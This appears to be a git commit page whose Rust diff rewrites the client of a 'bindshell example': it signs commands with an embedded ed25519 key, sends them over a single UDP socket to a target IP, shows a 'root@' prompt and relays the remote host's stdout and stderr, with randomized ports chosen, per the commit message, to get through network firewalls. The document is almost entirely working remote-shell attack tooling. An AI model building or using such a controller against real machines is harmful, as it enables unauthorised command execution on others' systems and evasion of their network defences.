refactor: redid the bindshell example

Made it use a single UDP client as well as proper randomized ports to go
through network firewalls, requiring stdin, status, stderr, and stdout
all go over a single UDP socket

Updated the client to have a prompt
This commit is contained in:
Andrew Rioux
2023-05-09 21:02:46 -04:00
parent 8ad7127d4d
commit f1e5b2d979
7 changed files with 263 additions and 90 deletions

View File

@@ -1,63 +1,133 @@
use std::{io::prelude::*, net::UdpSocket, thread};
use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}};
use anyhow::{anyhow, Context};
use ed25519_dalek::{Keypair, Signer};
use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY};
enum Msg<'a> {
Ready(u8),
Stdout(&'a [u8]),
Stderr(&'a [u8]),
}
impl Msg<'_> {
fn parse<'a>(bytes: &'a [u8]) -> Option<Msg<'a>> {
match bytes[0] {
0 => Some(Msg::Ready(bytes[1])),
1 => Some(Msg::Stdout(&bytes[1..])),
2 => Some(Msg::Stderr(&bytes[1..])),
_ => None
}
}
}
fn main() -> anyhow::Result<()> {
let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())
.context("could not parse generated private key")?;
let mut stdout = std::io::stdout();
let stdout_inuse = Arc::new((Mutex::new(false), Condvar::new()));
let stdout_arc = Arc::new(Mutex::new(std::io::stdout()));
let mut stderr = std::io::stderr();
let stdin = std::io::stdin();
let mut args = std::env::args();
args.next();
let target = args.next().ok_or(anyhow!("Please specify a target IP"))?;
let target = std::env::args()
.skip(1)
.next()
.ok_or(anyhow!("Please specify a target IP"))?;
let remote_stdin = UdpSocket::bind("0.0.0.0:0")?;
let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?;
let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
let remote = UdpSocket::bind("0.0.0.0:0")?;
let remote_listen = remote.try_clone()?;
let out_thread = thread::spawn(move || {
let mut buffer = [0u8; 1024];
let out_thread = {
let stdout_inuse = Arc::clone(&stdout_inuse);
let stdout_arc = Arc::clone(&stdout_arc);
loop {
let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; };
let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; };
}
});
thread::spawn(move || {
let mut buffer = [0u8; 1536];
let err_thread = thread::spawn(move || {
let mut buffer = [0u8; 1024];
loop {
let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; };
let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; };
loop {
let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
}
});
match msg {
Msg::Ready(_) => {
let (lock, cvar) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
return;
};
*inuse = false;
cvar.notify_one();
},
Msg::Stderr(err) => {
let _ = stderr.write(err);
},
Msg::Stdout(out) => {
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
let _ = stdout.write(out);
}
}
}
})
};
// sending a single command helps out with buffers, I guess
// first message is always dropped
remote.send_to(b"ls /", &target)?;
let mut cwd = "/".to_owned();
loop {
let mut cmd = String::new();
let Ok(_) = stdin.read_line(&mut cmd) else { continue; };
let cmd = cmd.trim();
{
let (lock, cvar) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
break;
};
if cmd == "exit" {
break;
while *inuse {
inuse = cvar.wait(inuse).unwrap();
}
}
{
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; };
let _ = stdout.flush();
}
let mut cmd = String::new();
let Ok(amount) = stdin.read_line(&mut cmd) else { continue; };
let mut cmd = cmd.trim();
if amount == 0 {
cmd = "exit";
}
let signature = privkey.sign(cmd.as_bytes()).to_bytes();
let msg = &[&signature, cmd.as_bytes()].concat();
let Ok(_) = remote_stdin.send_to(msg, &target) else {
let Ok(_) = remote.send_to(msg, &target) else {
continue;
};
match cmd.split(" ").collect::<Vec<_>>()[..] {
["exit"] => { break },
["cd", dir] => { cwd = dir.to_owned(); },
_ => {
let (lock, _) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
break;
};
*inuse = true;
}
}
}
drop(out_thread);
drop(err_thread);
Ok(())
}